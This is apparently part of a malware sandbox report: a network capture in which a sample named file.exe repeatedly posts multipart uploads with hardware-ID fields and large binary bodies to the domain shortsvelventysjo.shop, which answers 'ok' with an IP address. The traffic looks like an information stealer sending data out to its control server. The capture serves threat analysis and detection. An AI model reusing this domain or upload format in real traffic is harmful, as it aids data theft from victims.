2024-04-27 06:14:01 UTC	1369	IN	Data Raw: 37 47 39 2f 41 68 31 4b 38 49 72 73 70 50 31 69 7a 70 58 4a 70 72 32 6a 55 37 52 79 38 44 77 6d 54 39 33 43 7a 69 39 64 50 64 75 4d 43 77 5a 48 45 31 71 30 32 36 37 67 31 32 54 66 74 4d 4b 67 71 75 63 31 32 32 71 2b 57 45 4a 52 76 61 61 68 62 31 56 78 31 62 77 69 4c 51 6b 64 51 2f 79 4e 34 4b 6a 7a 66 63 6d 65 78 61 53 35 71 46 32 7a 64 50 6f 34 4f 30 37 56 78 73 49 6f 57 6e 6d 62 39 6d 46 69 52 31 6f 71 6e 2b 69 73 70 2b 38 76 6b 64 65 4d 6d 71 36 67 57 72 38 33 32 54 63 79 53 64 2f 4f 77 53 4d 53 46 66 37 37 4c 67 56 73 44 53 71 66 36 4b 79 6e 2b 79 2b 52 31 34 79 6d 74 4b 70 5a 6f 6e 6e 77 4d 43 42 50 33 39 2f 46 49 46 39 2b 6c 65 46 79 62 42 55 62 53 66 47 41 36 4b 2f 34 59 38 47 66 6a 4f 58 51 7a 44 62 77 63 75 68 77 63 51 71 56 34 63 6b 2b 57 44 2b Data Ascii: 7G9/Ah1K8IrspP1izpXJpr2jU7Ry8DwmT93Czi9dPduMCwZHE1q0267g12TftMKgquc122q+WEJRvaahb1Vx1bwiLQkdQ/yN4KjzfcmexaS5qF2zdPo4O07VxsIoWnmb9mFiR1oqn+isp+8vkdeMmq6gWr832TcySd/OwSMSFf77LgVsDSqf6Kyn+y+R14ymtKpZonnwMCBP39/FIF9+leFybBUbSfGA6K/4Y8GfjOXQzDbwcuhwcQqV4ck+WD+
2024-04-27 06:14:01 UTC	1369	IN	Data Raw: 6d 78 55 52 65 7a 44 74 4f 4b 33 54 4e 36 44 78 72 44 34 7a 7a 61 76 4f 35 68 62 4d 43 43 2b 70 6f 6f 6f 58 6a 33 4e 70 69 42 67 41 42 70 4b 38 6f 33 71 73 76 74 67 7a 35 58 4e 6f 62 57 72 56 72 64 37 2b 7a 59 73 52 64 58 4c 7a 43 74 57 65 5a 76 6e 49 43 4e 76 66 79 6d 30 68 50 54 67 72 79 32 4a 73 75 47 61 2b 6f 52 4b 70 6e 2f 33 50 44 39 44 31 4d 37 63 49 6b 49 39 2f 59 39 2f 49 32 39 2f 57 35 7a 6f 68 2b 44 77 59 34 6e 4e 6a 75 75 7a 71 56 69 78 65 66 6f 33 4a 31 72 55 78 38 59 75 56 58 71 65 39 6d 74 2f 44 42 78 42 2b 6f 76 6c 6f 50 6c 76 79 4a 6a 4d 36 2f 62 50 4e 74 73 31 39 79 68 70 45 4a 65 4e 37 77 78 46 61 35 2b 6d 51 33 6f 52 48 6b 58 34 6c 65 65 68 39 48 6e 45 68 59 7a 44 30 37 67 54 32 42 37 70 57 45 49 6a 6c 63 72 47 62 77 6f 2f 31 65 39 76 Data Ascii: mxURezDtOK3TN6DxrD4zzavO5hbMCC+poooXj3NpiBgABpK8o3qsvtgz5XNobWrVrd7+zYsRdXLzCtWeZvnICNvfym0hPTgry2JsuGa+oRKpn/3PD9D1M7cIkI9/Y9/I29/W5zoh+DwY4nNjuuzqVixefo3J1rUx8YuVXqe9mt/DBxB+ovloPlvyJjM6/bPNts19yhpEJeN7wxFa5+mQ3oRHkX4leeh9HnEhYzD07gT2B7pWEIjlcrGbwo/1e9v
2024-04-27 06:14:01 UTC	1369	IN	Data Raw: 71 32 30 36 4c 49 6e 41 53 4a 6b 64 33 72 34 4f 55 4e 34 69 36 6c 59 33 34 59 68 36 57 68 4d 42 77 56 2f 76 30 49 42 6d 78 55 56 4c 54 62 72 76 4b 35 42 36 4c 2b 6a 4c 6e 34 2f 78 2f 77 4d 76 34 39 4b 45 76 62 7a 74 67 39 56 48 36 44 35 79 64 54 4f 54 56 50 2f 34 2f 68 72 2f 78 52 39 37 54 42 6f 4c 53 71 55 72 74 4c 7a 69 55 71 52 74 76 4b 33 44 34 53 4d 2f 32 50 43 79 30 49 56 42 71 32 75 71 7a 6f 74 31 43 48 2f 61 66 41 2b 4c 38 64 36 44 65 77 42 53 70 47 32 38 72 63 50 68 39 63 6d 4f 39 73 59 41 67 66 41 72 72 72 68 38 75 33 61 59 6e 4e 6a 76 76 32 7a 7a 62 62 4e 66 51 68 61 52 43 58 6e 5a 68 30 42 79 37 43 74 44 49 46 62 41 73 4d 6e 4f 6a 31 79 4a 77 45 69 59 4f 4d 38 2f 72 31 45 39 67 65 6d 33 41 37 43 49 32 50 69 6d 68 52 62 34 66 69 59 33 73 45 55 Data Ascii: q206LInASJkd3r4OUN4i6lY34Yh6WhMBwV/v0IBmxUVLTbrvK5B6L+jLn4/x/wMv49KEvbztg9VH6D5ydTOTVP/4/hr/xR97TBoLSqUrtLziUqRtvK3D4SM/2PCy0IVBq2uqzot1CH/afA+L8d6DewBSpG28rcPh9cmO9sYAgfArrrh8u3aYnNjvv2zzbbNfQhaRCXnZh0By7CtDIFbAsMnOj1yJwEiYOM8/r1E9gem3A7CI2PimhRb4fiY3sEU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49734	104.21.16.225	443	6288	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 06:14:01 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: shortsvelventysjo.shop
2024-04-27 06:14:01 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 42 35 36 31 46 37 35 30 38 34 44 39 41 36 36 35 35 41 34 33 44 31 32 37 42 43 41 39 36 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 45 72 4e 31 4e 75 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"3BB561F75084D9A6655A43D127BCA968--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"ErN1Nu----b
2024-04-27 06:14:01 UTC	2827	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-04-27 06:14:02 UTC	806	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 06:14:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1osjjo8kiitfc7bc71h7jj7p85; expires=Wed, 21-Aug-2024 00:00:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EvG0mzzhZHNSVi0ovtvQER41UpNjYcYZn6DFmTKPzU0Kh8BUdV68xFxQuBfsoaHivYXuI91xWhy6yzlomZGtuh%2BK2ID8sWFrD%2Bxz%2BqEtQYU5Kc4dcwT79Mccp5edSMu3s4e%2BQ1EWE9Tu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87acab8528858c2f-EWR alt-svc: h3=":443"; ma=86400
2024-04-27 06:14:02 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 34 2e 31 36 2e 31 39 32 2e 31 38 35 0d 0a Data Ascii: 11ok 154.16.192.185
2024-04-27 06:14:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49735	104.21.16.225	443	6288	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 06:14:02 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8779 Host: shortsvelventysjo.shop
2024-04-27 06:14:02 UTC	8779	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 42 35 36 31 46 37 35 30 38 34 44 39 41 36 36 35 35 41 34 33 44 31 32 37 42 43 41 39 36 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 45 72 4e 31 4e 75 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"3BB561F75084D9A6655A43D127BCA968--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"ErN1Nu----b
2024-04-27 06:14:02 UTC	806	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 06:14:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jmflipivd2qqg8g0q3pbb1k3a4; expires=Wed, 21-Aug-2024 00:00:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cf6xr9CCBBxyAOiWnGoNfZ82FftXwg35vPZSvk7m3h5RhsCL%2BZuvZ7%2BEfCxzV6qb%2FSw15YEOXdR8YSi9%2B9ZkvLuVsQQw72IDj7TEA6dJhb6xeZFSNBmBZCUDJFGGar8wH45xjAHPtEEG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87acab89eede41de-EWR alt-svc: h3=":443"; ma=86400
2024-04-27 06:14:02 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 34 2e 31 36 2e 31 39 32 2e 31 38 35 0d 0a Data Ascii: 11ok 154.16.192.185
2024-04-27 06:14:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49736	104.21.16.225	443	6288	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 06:14:03 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: shortsvelventysjo.shop
2024-04-27 06:14:03 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 42 35 36 31 46 37 35 30 38 34 44 39 41 36 36 35 35 41 34 33 44 31 32 37 42 43 41 39 36 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 45 72 4e 31 4e 75 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"3BB561F75084D9A6655A43D127BCA968--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"ErN1Nu----b
2024-04-27 06:14:03 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-04-27 06:14:03 UTC	808	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 06:14:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jfths4k8l2a2rhrhvh1eidefud; expires=Wed, 21-Aug-2024 00:00:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QCjGhYeL1%2Bd3JOBGI5syw2K%2FLvau%2BaJfW0YzRaxNqd8j5tymiPqTKwtexJFVliYKXEF5aeSfcx5ZiSke4JiPfxMNaJooCTvDJ62mupfWLk3Uq0r4Uy0SizRx%2FtyeIlrQKMSBS%2BxrRoHB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87acab8f0e741a38-EWR alt-svc: h3=":443"; ma=86400
2024-04-27 06:14:03 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 34 2e 31 36 2e 31 39 32 2e 31 38 35 0d 0a Data Ascii: 11ok 154.16.192.185
2024-04-27 06:14:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49737	104.21.16.225	443	6288	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 06:14:05 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 5433 Host: shortsvelventysjo.shop
2024-04-27 06:14:05 UTC	5433	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 42 35 36 31 46 37 35 30 38 34 44 39 41 36 36 35 35 41 34 33 44 31 32 37 42 43 41 39 36 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 45 72 4e 31 4e 75 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"3BB561F75084D9A6655A43D127BCA968--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"ErN1Nu----b
2024-04-27 06:14:06 UTC	810	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 06:14:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=apkafn638ag4cq2ifulesafelj; expires=Wed, 21-Aug-2024 00:00:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S4Czxr4PuAPkt3YUoxG1SpH%2Bq0T%2FLDxzbf%2Ff6T4SHpI7Evn6Ubnz%2FRQvdVOWwcg%2BFVPkwRCakUniPzE9Ne7%2Fw2wiwy7JJA4SYE3tLNs8ck1E3LpjoxagfInlxQLxgeMOjhBmFur3meGo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87acab9d6a630cf1-EWR alt-svc: h3=":443"; ma=86400
2024-04-27 06:14:06 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 34 2e 31 36 2e 31 39 32 2e 31 38 35 0d 0a Data Ascii: 11ok 154.16.192.185
2024-04-27 06:14:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49738	104.21.16.225	443	6288	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 06:14:06 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1404 Host: shortsvelventysjo.shop
2024-04-27 06:14:06 UTC	1404	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 42 35 36 31 46 37 35 30 38 34 44 39 41 36 36 35 35 41 34 33 44 31 32 37 42 43 41 39 36 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 45 72 4e 31 4e 75 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"3BB561F75084D9A6655A43D127BCA968--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"ErN1Nu----b
2024-04-27 06:14:06 UTC	818	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 06:14:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5a4ddjobot4mmpprl54bbnlhan; expires=Wed, 21-Aug-2024 00:00:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p%2FDa5LF34gupBtC%2FWl7vrxhsSWRzxrSVELLc%2FEO2Q%2Fw6e%2BsTWR3cdQX%2F%2B6Qk3MZhebrYfHzZWR6vY2YQDAe%2BQqchaGBOshIntXWBsUq1LQsu%2Fvz8CAanjTrmRdgUNjP37g%2FjIfUT8RsS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87acaba21c5719e3-EWR alt-svc: h3=":443"; ma=86400
2024-04-27 06:14:06 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 34 2e 31 36 2e 31 39 32 2e 31 38 35 0d 0a Data Ascii: 11ok 154.16.192.185
2024-04-27 06:14:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49739	104.21.16.225	443	6288	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 06:14:07 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 574376 Host: shortsvelventysjo.shop
2024-04-27 06:14:07 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 42 35 36 31 46 37 35 30 38 34 44 39 41 36 36 35 35 41 34 33 44 31 32 37 42 43 41 39 36 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 45 72 4e 31 4e 75 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"3BB561F75084D9A6655A43D127BCA968--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"ErN1Nu----b
2024-04-27 06:14:07 UTC	15331	OUT	Data Raw: 3d 09 0b a6 3c 0e 7b 05 d8 66 0a e0 77 e1 b5 be c3 38 24 a3 b7 15 5e 63 0c 9d 97 a4 e1 77 93 5d 44 c0 19 75 2c 8c e3 62 d7 ac d1 a1 8a db 57 f7 73 dd b6 83 d4 20 c7 ff b7 4a 49 f3 01 ba fd ae e0 0e 1a d4 93 c9 3d 41 c0 6b 0b 07 0b d0 14 9c d3 c2 c2 4b cc d8 3d 69 a5 02 10 ef cf 05 a3 d4 63 0c de 82 a1 6d 9b 25 c4 38 24 d5 2b 0c 2e 25 a6 39 b8 e1 40 83 3c 2f c0 18 1d b3 3d c3 a1 04 92 53 81 a9 db f9 45 9a 34 bf cd cf c9 61 0f bf 18 31 45 3b a5 bc 1c b9 50 f4 88 71 fc ab c5 29 15 de b4 56 1c b5 c2 54 56 63 08 96 e9 29 42 6c 00 ef 47 51 31 a6 e0 02 86 45 49 d9 6a f0 77 91 e7 d4 3a 12 b9 a4 15 f9 2a fe 31 e3 f1 55 3b 09 2a 99 91 8e 85 25 96 35 67 de 2d 01 bf 3d 34 6d 74 a0 20 f8 d1 8f 66 6f 1e 19 09 54 89 5f bb 79 34 0f 45 ad 8f 8e 78 ae fe 7c ab 21 a4 0d b7 Data Ascii: =<{fw8$^cw]Du,bWs JI=AkK=icm%8$+.%9@</=SE4a1E;Pq)VTVc)BlGQ1EIjw:1U;%5g-=4mt foT_y4Ex\|!
2024-04-27 06:14:07 UTC	15331	OUT	Data Raw: 7a 35 9d d1 fe 6b 0d 9a 43 58 de 28 28 85 7d 51 6f 95 db 24 e0 c8 4d 85 b1 fc 89 88 16 8a 44 b0 97 04 ed d4 03 5c c7 0b 04 15 29 33 0c f6 4a 45 96 98 ae 65 3e 1a 36 15 a3 55 c6 a7 9f 55 ae 4b 86 08 10 f7 74 bf cb 6f a2 9b 4c c1 42 31 5a aa 0f f1 72 85 2f 34 66 3f 14 8a 8c ed 9e 34 04 3e 48 f4 9b 3a a5 08 c4 04 95 5c 53 8a d1 41 f7 0c 86 0b cd 7e 31 9a 1e ec 58 a7 97 58 ec ef 3c cf 94 44 87 0b f2 f6 d5 d3 ff 52 75 fd 1e 47 61 18 94 71 e6 e6 8c fc 56 df 1c b3 e4 0c 48 23 fc ce 57 e4 e6 ba 19 44 b8 d6 8e 50 ad ef 0f 90 f7 74 5d 8f a0 5c 39 c3 75 79 83 87 46 5f cd 4f 7d 17 bb 5c f9 57 d0 cf 16 8d cd 78 6f 17 c8 47 13 ce 3c 41 c6 dc c1 dc 7d b0 78 29 26 2b 4f ed 4e 3c 9b d4 7a 90 7c 81 d1 b0 70 82 dd a8 9b 27 11 c6 4c ad 29 fb 50 